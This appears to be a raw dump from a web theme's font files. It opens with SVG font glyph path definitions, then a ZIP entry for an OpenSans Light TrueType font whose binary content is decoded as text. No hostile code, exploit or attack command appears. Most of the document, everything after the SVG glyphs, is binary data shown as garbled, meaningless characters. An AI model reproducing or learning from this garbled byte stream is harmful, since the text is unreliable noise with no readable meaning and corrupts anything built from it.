<glyph unicode="&#x153;" horiz-adv-x="1802" d="M84 416q0 209 79 380t217.5 264t319.5 93q187 0 277 -125q144 125 373 125q188 0 297.5 -86t109.5 -229q0 -203 -157 -309.5t-451 -106.5h-59v-16q0 -148 163 -148q79 0 155 23.5t173 74.5v-274q-114 -58 -210.5 -80t-221.5 -22q-203 0 -295 112q-124 -112 -334 -112 q-209 0 -322.5 113t-113.5 323zM479 403q0 -133 84 -133q81 0 141 139t60 320q0 66 -23 99.5t-63 33.5q-82 0 -140.5 -139.5t-58.5 -319.5zM1128 664h29q110 0 172 41t62 110q0 32 -20.5 54t-63.5 22q-60 0 -112.5 -68t-66.5 -159z" />
<glyph unicode="&#x178;" horiz-adv-x="1237" d="M164 1462h403l90 -542l312 542h436l-612 -895l-121 -567h-391l120 567zM397 1722q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM884 1722q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1135" d="M254 1241v23q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#x2da;" horiz-adv-x="1182" d="M522 1489q0 114 73.5 184t195.5 70q118 0 193 -70.5t75 -181.5q0 -113 -74.5 -183.5t-193.5 -70.5q-121 0 -195 68.5t-74 183.5zM702 1489q0 -37 23.5 -60.5t65.5 -23.5q39 0 63.5 25t24.5 59q0 38 -26.5 62t-61.5 24q-36 0 -62.5 -24t-26.5 -62z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1135" d="M301 1237q32 172 108.5 257t204.5 85q34 0 59.5 -6.5t94.5 -42.5q31 -17 66 -33t67 -16q78 0 115 100h190q-34 -172 -112.5 -257t-208.5 -85q-33 0 -65 8t-61 22t-46 23q-73 45 -127 45q-31 0 -60.5 -27t-36.5 -73h-188z" />
<glyph unicode="&#x2000;" horiz-adv-x="959" />
<glyph unicode="&#x2001;" horiz-adv-x="1919" />
<glyph unicode="&#x2002;" horiz-adv-x="959" />
<glyph unicode="&#x2003;" horiz-adv-x="1919" />
<glyph unicode="&#x2004;" horiz-adv-x="639" />
<glyph unicode="&#x2005;" horiz-adv-x="479" />
<glyph unicode="&#x2006;" horiz-adv-x="319" />
<glyph unicode="&#x2007;" horiz-adv-x="319" />
<glyph unicode="&#x2008;" horiz-adv-x="239" />
<glyph unicode="&#x2009;" horiz-adv-x="383" />
<glyph unicode="&#x200a;" horiz-adv-x="106" />
<glyph unicode="&#x2010;" horiz-adv-x="674" d="M23 393l63 312h553l-64 -312h-552z" />
<glyph unicode="&#x2011;" horiz-adv-x="674" d="M23 393l63 312h553l-64 -312h-552z" />
<glyph unicode="&#x2012;" horiz-adv-x="674" d="M23 393l63 312h553l-64 -312h-552z" />
<glyph unicode="&#x2013;" horiz-adv-x="983" d="M33 416l57 274h871l-60 -274h-868z" />
<glyph unicode="&#x2014;" horiz-adv-x="1966" d="M33 416l57 274h1854l-60 -274h-1851z" />
<glyph unicode="&#x2018;" horiz-adv-x="500" d="M109 983q104 235 258 479h288q-26 -62 -53 -131t-135 -370h-348z" />
<glyph unicode="&#x2019;" horiz-adv-x="500" d="M94 961q34 81 67.5 167.5t121.5 333.5h348l8 -22q-92 -212 -256 -479h-289z" />
<glyph unicode="&#x201a;" horiz-adv-x="621" d="M-104 -264q25 59 50 123t138 379h348l8 -23q-94 -223 -256 -479h-288z" />
<glyph unicode="&#x201c;" horiz-adv-x="997" d="M109 983q104 235 258 479h288q-26 -62 -53 -131t-135 -370h-348zM606 983q109 246 256 479h289q-49 -115 -100 -258l-88 -243h-349z" />
<glyph unicode="&#x201d;" horiz-adv-x="997" d="M94 961q49 117 100 258l89 243h348l8 -22q-92 -212 -256 -479h-289zM592 961q41 98 99 258l89 243h348l7 -22q-39 -91 -110 -226t-144 -253h-289z" />
<glyph unicode="&#x201e;" horiz-adv-x="1122" d="M-104 -264q25 59 50 123t138 379h348l8 -23q-94 -223 -256 -479h-288zM397 -264q61 148 147 387l42 115h348l8 -23q-51 -116 -124.5 -251t-133.5 -228h-287z" />
<glyph unicode="&#x2022;" horiz-adv-x="803" d="M86 688q0 118 47 214t133.5 150t200.5 54q148 0 221.5 -77.5t73.5 -223.5q0 -194 -101.5 -305t-281.5 -111q-137 0 -215 80t-78 219zM594 1133z" />
<glyph unicode="&#x2026;" horiz-adv-x="1800" d="M12 127q0 109 65 171t179 62q84 0 132 -40t48 -115q0 -118 -60 -174t-190 -56q-78 0 -126 37t-48 115zM600 127q0 109 65 171t179 62q84 0 132 -40t48 -115q0 -118 -60 -174t-190 -56q-78 0 -126 37t-48 115zM1186 127q0 109 65 171t179 62q84 0 132 -40t48 -115 q0 -118 -60 -174t-190 -56q-78 0 -126 37t-48 115z" />
<glyph unicode="&#x202f;" horiz-adv-x="383" />
<glyph unicode="&#x2039;" horiz-adv-x="719" d="M61 553v10l408 518l264 -204l-266 -334l111 -330l-334 -137z" />
<glyph unicode="&#x203a;" horiz-adv-x="719" d="M-14 248l266 334l-111 329l332 138l184 -478v-10l-407 -518z" />
<glyph unicode="&#x2044;" horiz-adv-x="248" d="M-563 0l1089 1462h291l-1083 -1462h-297z" />
<glyph unicode="&#x205f;" horiz-adv-x="479" />
<glyph unicode="&#x2074;" horiz-adv-x="848" d="M16 707l31 178l490 577h325l-119 -557h113l-41 -198h-113l-26 -123h-289l27 123h-398zM293 905h162q62 239 73 274t15 44q-13 -18 -35 -48.5t-215 -269.5z" />
<glyph unicode="&#x20ac;" horiz-adv-x="1188" d="M53 451l43 204h109l22 123h-106l47 205h117q84 243 243 373.5t377 130.5q115 0 202 -25t173 -80l-154 -282q-120 78 -221 78q-142 0 -219 -195h297l-45 -205h-309q-18 -59 -25 -123h246l-43 -204h-227q0 -82 27.5 -113t105.5 -31q75 0 145 18.5t148 49.5v-330 q-126 -65 -355 -65q-231 0 -341.5 114t-116.5 357h-140z" />
<glyph unicode="&#x2122;" horiz-adv-x="1577" d="M102 1286v176h537v-176h-170v-545h-197v545h-170zM711 741v721h286l138 -479l149 479h277v-721h-195v400q0 74 6 110h-8l-152 -510h-163l-144 510h-8q6 -64 6 -110v-400h-192z" />
<glyph unicode="&#xe000;" horiz-adv-x="1135" d="M0 1135h1135v-1135h-1135v1135z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1505" d="M-209 -162q63 -18 117 -18q74 0 112 30t52 95l190 897h-166l43 190l189 96l16 74q43 192 146.5 278.5t275.5 86.5q80 0 155 -16t128 -42l-99 -264q-64 31 -129 31q-35 0 -59.5 -18.5t-32.5 -53.5l-16 -71h211l-66 -291h-209l-205 -959q-43 -192 -153.5 -283.5 t-292.5 -91.5q-110 0 -207 27v303zM863 0l239 1133h389l-241 -1133h-387zM1149 1382q0 103 59.5 156t166.5 53q91 0 140.5 -36.5t49.5 -104.5q0 -100 -58 -154.5t-167 -54.5q-191 0 -191 141z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1505" d="M-209 -162q63 -18 117 -18q74 0 112 30t52 95l190 897h-166l43 190l189 96l16 74q43 192 146.5 278.5t275.5 86.5q80 0 155 -16t128 -42l-99 -264q-64 31 -129 31q-35 0 -59.5 -18.5t-32.5 -53.5l-16 -71h211l-66 -291h-209l-205 -959q-43 -192 -153.5 -283.5 t-292.5 -91.5q-110 0 -207 27v303zM863 0l329 1556h387l-329 -1556h-387z" />
<glyph unicode="&#xfb03;" horiz-adv-x="2163" d="M-209 -162q63 -18 117 -18q74 0 112 30t52 95l190 897h-166l43 190l189 96l16 74q43 192 146.5 278.5t275.5 86.5q80 0 155 -16t128 -42l-99 -264q-64 31 -129 31q-35 0 -59.5 -18.5t-32.5 -53.5l-16 -71h331l17 69q41 185 142.5 275t279.5 90q80 0 155 -16t127 -42 l-98 -264q-64 31 -129 31q-35 0 -59.5 -18.5t-32.5 -53.5l-16 -71h210l-65 -291h-209l-205 -959q-43 -192 -153.5 -283.5t-292.5 -91.5q-110 0 -207 27v303q63 -18 117 -18q74 0 111.5 30t51.5 95l191 897h-330l-205 -959q-43 -192 -153.5 -283.5t-292.5 -91.5 q-110 0 -207 27v303zM1520 0l239 1133h389l-241 -1133h-387zM1806 1382q0 103 59.5 156t166.5 53q91 0 140.5 -36.5t49.5 -104.5q0 -100 -58 -154.5t-167 -54.5q-191 0 -191 141z" />
<glyph unicode="&#xfb04;" horiz-adv-x="2159" d="M-209 -162q63 -18 117 -18q74 0 112 30t52 95l190 897h-166l43 190l189 96l16 74q43 192 146.5 278.5t275.5 86.5q80 0 155 -16t128 -42l-99 -264q-64 31 -129 31q-35 0 -59.5 -18.5t-32.5 -53.5l-16 -71h331l17 69q41 185 142.5 275t279.5 90q80 0 155 -16t127 -42 l-98 -264q-64 31 -129 31q-35 0 -59.5 -18.5t-32.5 -53.5l-16 -71h210l-65 -291h-209l-205 -959q-43 -192 -153.5 -283.5t-292.5 -91.5q-110 0 -207 27v303q63 -18 117 -18q74 0 111.5 30t51.5 95l191 897h-330l-205 -959q-43 -192 -153.5 -283.5t-292.5 -91.5 q-110 0 -207 27v303zM1516 0l329 1556h387l-329 -1556h-387z" />
</font>
</defs></svg> PK!s�`��s�s:bluetheme/assets/fonts/OpenSans/OpenSans-Light-webfont.ttfnu&1i�FFTM_���GDEF( OS/2�͕�H`cmap�48��cvt �	:�2fpgm�/��egasp@glyfX;&�Hadhead����g�6hhea�Pg�$hmtx��^{h�loca��|k��maxp
m� name%N@�m��post�-Ko��prep�е�rp;ɉo1��=��B�,�3�3�f���@ [(1ASC ����X �?� ��2 ~�1Sx��� 
    " & / : D _ t �!""���� �1Rx���     " & / 9 D _ t �!""���������q�M�����������������r�;���� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�?�Z9NTV^cq�f3AITbfko�XR�,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�0�+�
�+�
��/�ֱ
��+�
�	+013!%!!�I�y����Jh����F�X�+��+�/�ִ+�+�
+��/�
�+�	�
+�
�99��
9017432#"3#�PRRPw=Nbbb����N�:�+�3�+�2�/�ֱ��+��	+��99013#3#�!=)!=�����7��Q�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ֱ��+��
+�@	+��+��
+�@	+��+��!+�6�>��+
�>���+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@015!!5!3!3!!!!#!#7!!7+L��7V[YmXVX��L/��VZX��VXVfkN���O�P�:�:P�rO�=�=�O����� '.��/�3��(2�
+�@	+�/�%3��2�
+�@
	+�//�	ֱ!�!�+�$222��(222��++��0+�+�99��9��	$.$9��901753.546753&'#5.>54&'�K�Y��@��QŚ!��ՠƯQ\�Er~wyAz�~��g$2�,XxV|���	?Z>
�B�~����)}Vn&�x�e
|bUo(q���&0��+�"$+�*�+�+��	
+�	�.
+���1/�ֱ��+���+�'�'�,+�!�2+��	$9�,'�$$9�	*�!',$9��999014632#"&7324&#"3	4632#"&732#"q��������bZ`�c^`Z�+`��𓋉�����bZ`��`Z�������ܺ�u����F��J��������ڹ�rq�{���� +7}�+�+�$�
+�5��8/�ֱ!
�!�+�,�,�2+�
�
�+��9+�2,�
$($9�
�'$9��9�5$�
(/$901467'.54632>73#'#"&73267>54&#"{��KB@�������=V `?�
��\��m��h����g��y7�Pp�||jr�s��lRG�J����i�k�7H�t�����ZS,ν��Wg�Hev�O�kU�_^ut����+�+�/�ֱ�+013#�!=���R�����+�
/�ֱ�+0173#&R��q��0o��1	ή��3���l��=�����+�
/�
ֱ�+013#=q����o0����1�����:����h��73%'h�'�%��u�|��}�d�h��kh�'��G{��GTo�#�R�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�
+015!3!!#o�R��NR�R��NR�P�D��3��/�	+�/�ֱ�+0173DM!uKc������\7R"�/����/�+�	+�+015!\�RR���D�/�+��+���/�ִ+�+�	+017432#"�PRRPNbbb�� �+�+�/�ִ+�+0133 i����Js���B�	+��+���/�ֱ��+��+��	99��90132#"32#"s��������l���������~p�������}v����PIDP�����
5�+�+�
+�/�ֱ�+��99�
�9013#47��Vb ���)�J)���q�N�+�	�+�	��/�ֱ
�
+�@	+�
+�@	+�+��9�	�$90135>54&#"'632!q���>����6�߿ۓ��X����Z���E�̳����`^���(p�'+��+��'
+�	��)/�ֱ$
�$� ���/��
+�@	+�*+�'�9��$99�� !99��999017532654&+532654&#"'>32!"^T�\���ܞ��խ�m�p1U�{�ܫ������?c,2����`��z�=JCGS��������+u�
^�	+�+��	
+�3��2�/�	ְ2��2�	
+�@	+�	
+�@		+�+�	�9��901533##%!7#+�y��^��yguC�
V��uV�.�%�����|�+��+�	�

+���/�ֱ
�+�6�?�q+
�.�
��
����
..�
....�@��99��9�
�999017532654&#"'!!632#"&�l�_���‚�<:���-�X�
��m�?g7+˭��''�`�����+���#�&b�+��+�	�+��#
+���'/�ֱ�2�� +�
�(+� �
$9�#�
$901$32&#"3>32#"732654&#"���^NIg���
L�m������mc�f����f�ho��X����bd���S�o�x�Z�m�"�+�+�	��/�+��9015!#m���uZV`I��Vy���$1h�+��//�
��2/�ֱ
��% ��
�/�%
��+�
�, ��

�3+�,%�
"$9�/�
")$901467.54>32#"&732654&'>54&#"y����j�u�㍞������f���ȝบ-?w�������w��FL�vi�V��p�IO����ʲ����|�UG��FkW:?�kx��o���(n�+��+�&�
+���)/�ֱ
��"+�2��*+��
99�"�$9��
9��9�&�99901432#"'532##"&732>54.#"o�ǐ�u����hX+y �I�n��f��e�g]�m���������|�VeV`g�Ԯ�Z�Mu�s����D-3�+��/�
��/�ְ2�+�2�+�+017432#"432#"&�PRRPPR/#".Nbbb�bb5..L��D-4�/�
��/�ִ+�2���/�+��
9901673432#"&LBuKcPR/#".��a)l����bb5..o
#�5	o���7�=�_�k��`o�#��/��/���/�	+015!5!o��L��RR�RRo
#�5	5o7���
`c�_�&=9���'k�&+�"�+���(/�ֱ� +�$+��+��)+��"&99�$�99��999�"�999��901>32#546?>54&#"432#"9n�O��$A\8@ERKe[H>��O�P�PRRP{0 ŬDfWQ/6Yba%{�YO=xN�#'�#bbbq�;��5@��0+�3/�-�/�3�9�2�>/��&/���A/�ֱ*�*�+�6
�6�"+��B+�"6@	&-03<$9�-3�19�>9�"*$9��901$32#"&'##"&543232654$#"!267# 3 &#"q����K���Yo	+�l���Š�FQg���ۼ��N3]������znw�Or��1������l]de���)�0hi��$������$4cP����Z#���,�+�3�+�
+���/�+��90113#!!&'LA@s�����# ��D��`>n`N���g�+��+��
+��� /�ֱ
�2��+�� ���!+��	99��9��	99��9013! #%! )5!2654&#!���������X��T��Bλ�����������ZJ-Z���������A�+�	�+��+�	��/�ֱ�+�	�999��9014$32&# !27# ��=�֩)�����*��������T�P\P������/Z3��%�8�+�	�+���/�ֱ	
�	�+��+�	�9013! !'3 )��^m�~�������������������Z�:=���G�+�		�+�	�
+�	��/�ֱ	
�2�	
+�@		+�2�@		+�
+013!!!!!��G��n��^��^��^���	@�+�+�	�
+�	��
/�ֱ	
�2�	
+�@		+�@		+�+013!!!!�!�E��l�^��_�s���)�x�+��+�	�
+�	��/�ֱ��+�
�
+�@	+�+��	999��99��9��99�	�9��9014$32&# !27!5!! ��U��)����B8ʍ�M��������Y�X\X�������9`�eZ����?�+�3�+�3�

+�	��/�ֱ
�2��+�2�
�
+0133!3#!�fVgg����w��J�1�5�!�+�+�/�ֱ
�
�+0133�f��J�H��5�-�+�	/�	��/�ֱ
�
+�	�9��901323!"'�NG�f��\;���J�����0�+�3�+�3�
/�ֱ
�2�+��
99013373	#�f�=���g}������V����������,�+�	�+�/�ֱ
�
+�@	+�+0133!�f����`��V�+�
33�+�3�/�ֱ��+�
�+��9��
999��99��999013333#47###Ϟ�g��A������JTt|��F|������N�+�	3�+�3�/�ֱ��+�	�+��9��
99�	�9��9901333&53##�fa	cg�������J�v�L�����D�	+�	�+�
��/�ֱ��+��+��	99��9901! ! ! ! �_02Z������o�������]��m�����k�\���T=<Q���?�	B�+�+��

+���/�ֱ	
�
2�	�+��+�
�9013! !#32654&+�f
����������\������������L�+�	�	+�+�
��/�ֱ��+��+��

	$9��9901! ## ! ! �_02Z��M���!���o�������]��m����6��J�\���T=<Q�����
[�+�	3�+��
+���/�ֱ

�2�
�+��+�
�99��
9��9��9013! #!!2654&+�\���z�����������ʓ�,�f}��ե���o����$`�#+�	�+���%/�
ֱ��+� �&+��#$9� �99�#�9��
 $9��9017532654.'.54$32&#"# o����F����ε%����;����O����'fC��SmZ4M����NXL��QhS:;o�d��
'�:�+�+�	�2�/�ֱ
�
+�@	+�
+�@	+�	+015!!#
�%gV``��V����7�+��+�
3�/�ֱ
��	+�
�+�	�901332653!"�g����f��������N������N�����
!�
+�+�3�/�+�
�9013673#mpT;�o��Z���qK�L�J3����+�333�+�
$3�/�ֱ��+�
�+�6��=�7+
�������=��`+
�
.�	��������L+
�.���	����=��[+
��������&�+��+�+�+�+�=��v+��+��c�+��+�=���+��+� � �#9�9�9�9� � �#9� � �#9� � �#9@
	.............@	
...................�@��9901363>3#&'#3kN�q%3
) g�lT��(;��V��R9aUO(�w��lH�,�Jh�YW��N�&�+�3�+�3�/�
+��
99011	3	3	#	�As��m�;�u�P�H����r�F���V9�0�+�+�3�	/�ֱ�
+��9��9013	3#u��n�i��� ���-RJ�	.�+�	�+�	��
/�+��9��90135!5!!RX�����qL
`L��`���Z�1�+�	�/�	��/�ֱ�
+�@	+�2�	+01!!!����J���^��_�� �+�+�/�ִ+�+013#f#g��J3����1�+�	�/�	��/�ֱ�
+�@	+�2�	+01!!5!!3J����T�=^�X19�3#	X�D�d�u�r1��p������N�H�/����/�+01!!R���R��!	(�/�
+�
/�ִ+�+��90153#.���FE`�0�LO�b���R$v�+�+��
+��"

+���%/�ֱ��+� 22����/�&+��
$9�"�999��
9�
�9014$?54&#"'632#'##"&7326=b	��~���%����IR�v��i}r�ɾ��!��H��TVT��-�iW��fqDZky���L!g�+�+��
+��

+�@
	+�"/�ֱ�2���+�
�#+��99��
99��
$901333>32#"&'#3265!"�c>�{����t�6	%���������yXJUb\�����`X������w���T=�+��+���/�ֱ
�+��9��999��90132&#"327#"w�h��ι�h��-1X/���5\3&w��h�
+�+��+��
+�@
	+� /�ֱ
��+�2���
�
/�!+��$9��$901323&53#'##"!26=4&#"w��v�DbA|���hg������*Vh~y��즺�2���w���Tf�+��+��
+���/�ֱ
�2��+��+��999��99��9��9��90132!3267#"!4&#"w���Ϳ]�l\�^�n�����9���P��+Z($Z����a�+�+��+�3��2����/�ְ2��2�
+�@	+�
+�@	+�+��	9��9015754632&#"!!#ʓ�ZZPOta�c�:%TȻV��eV��-�T)3?��'+�,�+�=�2�+�=�2 '
+�2
�7'
+�7��@/�ֱ4
�*4+��/�*�4+��4�:+�
��.+�$
�$.
+�@$	+�A+�:@
!',7=$9��9�2,�$99� �9��99�7�9�=�9901467.547.54632!#"';2!"&7! 4&+ 32654&#"-�w1;�_jϰk;\�ZѰJ;>O]�������iM������S���������p�M2mS'�l��Ep���T/40�������bX�~�������Q�+�3�+��
+�@	+�/�ֱ�2��+��+��99��9901333>3 #4&#"�c=��rb��õ��bX�s�9�������)�	
;�
+�+��+�/�ְ
2��
��+�
�9901432#"3�?##?cm`2.-4��?�����)�I�
+��+��+�/�ְ
2���+��99�
�9��9013253#"'432#"bE<�cuP7
?##?��� �@`2.-4��
5�+�	3�+�/�ֱ
�2�+�
�9��99013333	#�c+x�T�w�c����b�0��%��}��+�/�ֱ��+0133�c���fT"p�+�33�+�+�
3��2�#/�ֱ"��"�+�
��+��$+�"�99��
	99��
9��	
$901333>3 3>32#4&#"##"�R-�dI5�r��b|���e���?�QY�]d��9ɟ���������TL�+�	3�+�+���/�ֱ���
+�	�+�
�99��99013336! #4&#"�Tjrb��õ?���s�9������w��9TD�	+��+���/�ֱ

�
�+�
�+�
�	99��990132#"&732654&#"w�������thŴ��Ǵ��!
)������Պ������LT_�+��+�+��/� /�ֱ�2���+�	�!+��9��999��	$90133632#"'#3265!"�Tp�����s���������+������ټTJX�b	������w�TY�+��+�+��
/� /�ֱ
��
+�
222�	�!+�
�$9��
$90132373#47##"32654&#"w���uTbv���h��Ʃ����-�����z~�
�������TE�+�+�+��	+�
	��/�ֱ��+��9�
�9901333>32&#"�T
C�lEODI��?�xa_��T��XT#`�"+��+���$/�
ֱ
��+��%+��
"$9��99�"�9��
$9��9017532654&'.54632&#"#"T��������C͸��%����y���C���/kRkYRp6;UkMz�BZBXNUf?5UlI����yFx�+��+��2���
+�@	+�+�/�ֱ	
�2�	
+�@		+�	
+�@	+�	��/�+��9��9��9015?3!!327#"&5�23?��X^^FH^���:-���V�P}xP������?K�
+�+��+�
3�/�ֱ��	+�
2��+�	�99��9901332653#'#! �b��·bTj��y�@����X�����?�+�
�+�3�/�
+0133673#f8)+f�\d?��j�r��?�+�333��2�+�	$3�/�ֱ��+�
�+�6��O�+
�������=4�K+
�.���������_+
�.���
	��	��>$�+
�������<��&+��+�+� � �#9�9�
........@	
..............�@��90133673363#&'##j�=;�Z�HH�d��h�$-�b?���n�M��k�LAp���J�J��+7�?&�+�3�+�3�/�
+��
99013	3	3	#	7���rDAm���s����/�6������?3�+��� ���+�3�/�+��99013363#"'532>7f�i*_�f�;PkL9F:C3N?S?����b�\��l6V0e�!RZ?	.�+��+���
/�+��9��90135!5!!R����w�?�X?�XX=����X�+��/��/���/�ְ2��2�
+�@	+�2�+��99��99��99015>5%"&54=zlh�|XbaYw�åPbc^+Zjh�ς�{��fe[��Q���X�/�ֱ��+013�\���H����X�+��/��/���/�ְ2��2�
+�@	+�2� +��99��99��9901>54675.54&'52#H�yYaaY{���my���egB{��1gkZ����daP����oh#=5�/��/��2�/�+��99��99��90156323267#"'&#"ol}=le~^8k>0qIt�|a1vq^n,:=@`1@H9=���HT	
D�+���/�ִ+�+�+��
+�
�+��9901432#"&3�PR/#".=�bb5..��>������m�+�+� �/�3�� �/�3���/�ֱ
��+�2��2�
+�@	+�+��9��
999��	901475332&#"327+#5&�ͺR���g��ɴ��n�R����+!��7T3���:\8��"N1�o�+�	�2�+��
+�3��2�/�ְ2�
�2�
+�@	+�@	+�
+�@	+�@	+� +��9��90135>5#534632&#"!!!Nn{���#������eFN)T��R)��DVB����R�t�0`
�'n�/��%/�
��(/�ֱ��"+��)+��99�"�$9��
99��99�%�$9�
�99017&547'76327'#"'32654&#"�ZZ�;�g��i�;�ZZ�;�n��k�J��������F�j��o�<�]]�<�o��i�<�]]�Ɉ������+d�t�+�+�3�
+�	3��2�
+�3��2�/�ְ2�
�2�

+�@
	+�2�
+�@	+�2�+�
�9��9013	3!!!!#!5!5!5!+u��n�P��R��i��Q�������R�R��1R�R��X�/�ְ2��2��	+013#3�\\\�������0>��.+��+���?/�
ֱ1
�1� ���/��1�8+�2�&
�+�2�@+�8@
$(.5<$9�+�9�.�9��+5<$9��9017532654.'.5467.54632.#"#"&>54.'�����2ȐeXVNˮ��#[�M��3x����VV��\�?��RX@��Qc?_Nc[7AB.I�eS�&/nQu�@P"YK6E>+@�f�e*lR��ANH?)r@>PJ2pPL�<�+�3�;+�2�+�;+�/�ֱ��	+��+014632#"%4632#"P @@?} @@?m.(VVV.(VVd��D�5{�+��+��(+�#�3.#
+�3��6/�ֱ�� +�+�+�+��7+�+�#%03$9�.3�19�(�&0$9�#�%9014$32#"$732$54$#"4632&#"327#"&d�^��^�������]�0��/���͵��ϲ(޺wl%b\����Trfj����^��������ZƲ�Ѳ�0��.���̵�4S-����+X-�N!D�!w�
+��/��/���"/�ֱ��+�2��#+��
99��
$9��9��99��99��9��
9�
�90146?54&#"'632#'#"&7326=N��_LDWm!ur�DTv_pZF=ZiXtz�dg+MK1I8�=HTb^6>d\@=R}-�
55R5>��>36=��=�+����+��+����+o�0�/��
+�@	+�/�ֱ�
+�@	+�+015!#o�R�R��\7R"�/����/�+�	+�+015!\�RRd��D�-5��+��+��,.
+�,�,.
+�@, 	+�)2�!5
+�!��6/�ֱ�� +�-
�.2�-�2+�%
�%�+��7+�2-�+($9�%�*9��)9�.,�($9�5�%9014$32#"$732$54$#"32##32654+d�^��^�������]�0��/���͵��ϲ�ӏ�MH�yҨp[h�n��^��������ZƲ�Ѳ�0��.�����p|�Oy"�wh���]Y���f�/����/�+015!RR�u��B�+��	/���/�ֱ��+��+��	99��99014632#"&732654&#"��~~��~��ZzWV{xYZw���������[~|]\}���o#�'��W5Ju�L�
+��/���/�ֱ�
+�@	+�
+�@	+�+��9��
$90157>54&#"'632!5�}^]Mlm1w�|�6S���JN�y�MGSRAgo/TW]��X)9��#^�+��"/��
/���$/�ֱ
� ���
+�@
	+�%+�"�9�
�99��9��99901532654&+532654&#"'632#")��swww��ij^P�v/���XI����uX>bWSNTWMCQNF^xgNk-�����!	(�/�
+�
/�ִ+�+��9015>73�I��$�h�O�04�W��?S�
+�+��+�
3�/�/�ֱ�2��	+�
2��+�	�99��99901332653#'##"&'�c��·bT2�uc�3�+�@����X���M]79\N�bq��RH�+�	�
+�@
	+�@
	+�2�/�
ֱ	
�	�+�/�	�+�
�+0163!####"&q��d�d@R�������F3����oD3�+��)�+�+���/�ֱ�+��90132654'73#"'+>NR�]`B��yD�w
84^�u%�deLJ��	"�+�
/�ֱ�+��9901%3#47L\b����#c�zF!��B�+��	/���/�ֱ��+��+��	99��99014632#"&7324&#"F��������Z��dmmdu�����������H}#�
77%7H��=5��+��>5�˨jk+�y�w+jk+�y�w��;p�&{�'�?�����{�&{�'��t����)��&u'���F��J�u%T(v�!+�&�/���)/�ֱ��+���#+�+�/�#+�*+��999��99��!&99��9�&�	999014>7>=332?#"&432#"&J(M�@EROaZI>��}l@%o�N��nPR/#".Fl`o5[aa%}�UO=wO|�.O0 ��bb5..���s&$C��R���s&$voR���s&$�R���&$�R���&$jR���&$������[�+�3�		�+�	�2�
+��
+�	��/�ְ2�	
�2�	
+�@		+�
2�@		+�+01#!!!!!!!!#�m��@��g�3�%��d�^��^��^��`�������&&z����s&(C��R����s&(vFR����s&(�R����&(jR����@s&,C�8R���>s&,v�6R����&s&,��R��&,j��R/%�g�+�
�+��
+�3�	�2�/�ְ2�

�2�

+�@
	+�
+�@	+�
�+��+��990153! )3 )!!/��^m�~����f���������j�^�������������:=��^����&1�uR������s&2CmR������s&2v%R������s&2��R������&2��R������&2j�Rw�7			'w9��:�h�:�i�j9�j:�h�:�i�h9��h9������#m�
+�3�	�+�
��$/�ֱ��!+�
�%+��9�!�
$9�
�9�
�9��
#$9��901!27!"''7&&# 3 '�_0�lHo������VJZ�o������̅���]�y�<������kxx;�o�ȫ
f����jT=;������s&8C9R�����s&8v�R�����s&8��R�����&8j�R��9s&<v)R�?�I�+�+�+��

+�
��/�ֱ
�22��+��+��90133! !#32654&+�f
������������\����������D4��+�+��0+���5/�ֱ4�4�'+�
��-+�
��!+��6+�'4�999��%099�-�	$*$9��9��9�0�9990134632#"&'532654&'.5467>54&#"�Ͻ�ËQ;JAj[-��_�/A�EryNn`AJJA����������o@I',0B-KckC��%k&0mjSzKWxV<d:9a:]d��B��b���!&DC�v��b���!&Dv��b���!&D����b����&Dȭ��b����&Dj���b����&D��b��LT&17��$+�3�*�2�
+�3��62�2$

+�2�2� ��/��8/�ֱ'�'�-+�2�
�22��3+��9+�'�9�-�

$$9��!99�3�999��99�*$�9��!'$9�/�09�2�9��
99�
�90146?54&#"'63 632!!267# #"&7326=%!4&# b���{���%��@o��5\U�m\�X��fDȘ��izm�»ۼ�\����!��H��TVT����P�4-Z)�{��fqDZkyͼ��w��T&FzJ��w���!&HC���w���!&Hv;��w���!&H���w����&Hj�����]!&�C�U��k�!&�v������!&���������&�j��u��(H�+� �&/���)/�ֱ
��#+��*+�#�$9�& �999014327''7&'77#"732654&#"u��l�E@��1�Vq-�e�1ʚ����h����ª����B?��M�>9QEL�Ty��l���ߺ�������&Q���w��9!&RC���w��9!&Rvj��w��9!&R�
��w��9�&R����w��9�&Rj
o#�
1�/��/��/���/�ְ2�+�2�+015!432#"&432#"&o���PR/#".PR/#".�RR��bb5..�cc4..w��9h#m�
+��+���$/�ֱ
��!+�

�%+��99�!�
$9�
�99�
�9��
#$9��901327#"''7&7&#"32654'w�z`Jhp���vVH]yhNb��Ë^���H!
)h|7����bq:x���z�Z���R��w�����!&XC������!&Xvf�����!&X�������&Xj����!&\v���L c�
+��+��
+�@	+�/�!/�ֱ�22��+�
�"+��99��
99��
